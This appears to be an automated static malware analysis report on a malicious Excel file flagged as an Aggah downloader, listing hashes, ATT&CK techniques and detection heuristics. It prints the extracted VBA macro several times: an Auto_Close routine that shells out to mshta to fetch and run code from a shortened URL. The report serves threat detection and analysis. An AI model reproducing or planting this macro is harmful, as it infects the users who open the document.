Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ce279cc0bebf1701…

MALICIOUS

Office (OLE)

30.0 KB Created: 2006-09-16 00:00:00 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: 1be8003f2ae086a77d663f626a15fdcd SHA-1: 84b8408c944e31d00098eaab1dbd73f01bb03a28 SHA-256: ce279cc0bebf17017d81913f66e3007b1c76dceaf1dbb628012b14515d529d37
296 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.005 System Binary Proxy Execution: Mshta T1566.001 Spearphishing Attachment

The file contains VBA macros that trigger on Auto_Close and Workbook_Open events. The Auto_Close macro executes mshta.exe with a URL, "http://j.mp/jassdasxasxxmcox", which is a common technique for downloading and executing a second-stage payload. The presence of Shell() calls and LOLBin references in the VBA code further supports this malicious intent.

Heuristics 8

  • ClamAV: Xls.Downloader.Aggah-7677883-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Aggah-7677883-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Sub Auto_Close()
    Shell """mshta""""http:\\j.mp\jassdasxasxxmcox"""
    End Sub
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Sub Auto_Close()
    Shell """mshta""""http:\\j.mp\jassdasxasxxmcox"""
    End Sub
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Workbook_Open()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Attribute VB_Name = "Module1"
    Sub Auto_Close()
    Shell """mshta""""http:\\j.mp\jassdasxasxxmcox"""
  • Reference to mshta.exe high SC_STR_MSHTA
    Reference to mshta.exe

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1358 bytes
SHA-256: 03b7c66adc210461da1e45e426224dcc3be3dd67833188f50fe9804b504d5b23
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Auto_Close()
Shell """mshta""""http:\\j.mp\jassdasxasxxmcox"""
End Sub


Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()

End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True